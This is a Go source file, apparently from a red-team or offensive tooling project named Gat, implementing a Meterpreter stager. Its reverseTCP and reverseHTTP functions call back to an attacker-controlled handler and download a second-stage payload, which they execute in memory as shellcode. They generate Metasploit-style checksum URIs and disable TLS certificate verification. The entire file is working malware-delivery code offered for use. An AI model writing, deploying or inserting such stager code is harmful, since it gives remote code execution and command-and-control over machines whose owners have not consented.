github.com/m1ddl3w4r3/Gat@v0.0.0-20221205171512-b6bb6e613409/meterpreter/meterpreter.go (about)

     1  package meterpreter
     2  
     3  import (
     4  	"crypto/tls"
     5  	"encoding/binary"
     6  	"io/ioutil"
     7  	"math/rand"
     8  	"net"
     9  	"net/http"
    10  	"runtime"
    11  	"time"
    12  
    13  	"github.com/m1ddl3w4r3/Gat/shell"
    14  )
    15  
    16  // Meterpreter function allows to connect back
    17  // to either a TCP or HTTP(S) reverse handler
    18  func Meterpreter(connType, address string) (bool, error) {
    19  	var (
    20  		ok  bool
    21  		err error
    22  	)
    23  	switch {
    24  	case connType == "http" || connType == "https":
    25  		ok, err = reverseHTTP(connType, address)
    26  	case connType == "tcp":
    27  		ok, err = reverseTCP(address)
    28  	default:
    29  		ok = false
    30  	}
    31  
    32  	return ok, err
    33  }
    34  
    35  func getRandomString(length int, charset string) string {
    36  	seed := rand.New(rand.NewSource(time.Now().UnixNano()))
    37  	buf := make([]byte, length)
    38  	for i := range buf {
    39  		buf[i] = charset[seed.Intn(len(charset))]
    40  	}
    41  	return string(buf)
    42  }
    43  
    44  // See https://github.com/rapid7/metasploit-framework/blob/7a6a124272b7c52177a540317c710f9a3ac925aa/lib/rex/payloads/meterpreter/uri_checksum.rb
    45  func getURIChecksumID() int {
    46  	var res int = 0
    47  	switch runtime.GOOS {
    48  	case "windows":
    49  		res = 92
    50  	case "linux":
    51  		res = 95
    52  	default:
    53  		res = 92
    54  	}
    55  	return res
    56  }
    57  
    58  func generateURIChecksum(length int) string {
    59  	charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-"
    60  	for {
    61  		checksum := 0
    62  		uriString := getRandomString(length, charset)
    63  		for _, value := range uriString {
    64  			checksum += int(value)
    65  		}
    66  		if (checksum % 0x100) == getURIChecksumID() {
    67  			return uriString
    68  		}
    69  	}
    70  }
    71  
    72  func reverseTCP(address string) (bool, error) {
    73  	var (
    74  		stage2LengthBuf []byte = make([]byte, 4)
    75  		tmpBuf          []byte = make([]byte, 2048)
    76  		read                   = 0
    77  		totalRead              = 0
    78  		stage2LengthInt uint32 = 0
    79  		conn            net.Conn
    80  		err             error
    81  	)
    82  
    83  	if conn, err = net.Dial("tcp", address); err != nil {
    84  		return false, err
    85  	}
    86  
    87  	defer conn.Close()
    88  
    89  	if _, err = conn.Read(stage2LengthBuf); err != nil {
    90  		return false, err
    91  	}
    92  
    93  	stage2LengthInt = binary.LittleEndian.Uint32(stage2LengthBuf[:])
    94  	stage2Buf := make([]byte, stage2LengthInt)
    95  
    96  	for totalRead < (int)(stage2LengthInt) {
    97  		if read, err = conn.Read(tmpBuf); err != nil {
    98  			return false, err
    99  		}
   100  		totalRead += read
   101  		stage2Buf = append(stage2Buf, tmpBuf[:read]...)
   102  	}
   103  
   104  	shell.ExecShellcode(stage2Buf)
   105  
   106  	return true, nil
   107  }
   108  
   109  func reverseHTTP(connType, address string) (bool, error) {
   110  	var (
   111  		resp *http.Response
   112  		err  error
   113  	)
   114  	url := connType + "://" + address + "/" + generateURIChecksum(12)
   115  	if connType == "https" {
   116  		transport := &http.Transport{
   117  			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
   118  		}
   119  		client := &http.Client{Transport: transport}
   120  		resp, err = client.Get(url)
   121  	} else {
   122  		resp, err = http.Get(url)
   123  	}
   124  	if err != nil {
   125  		return false, err
   126  	}
   127  
   128  	defer resp.Body.Close()
   129  
   130  	stage2buf, _ := ioutil.ReadAll(resp.Body)
   131  	shell.ExecShellcode(stage2buf)
   132  
   133  	return true, nil
   134  }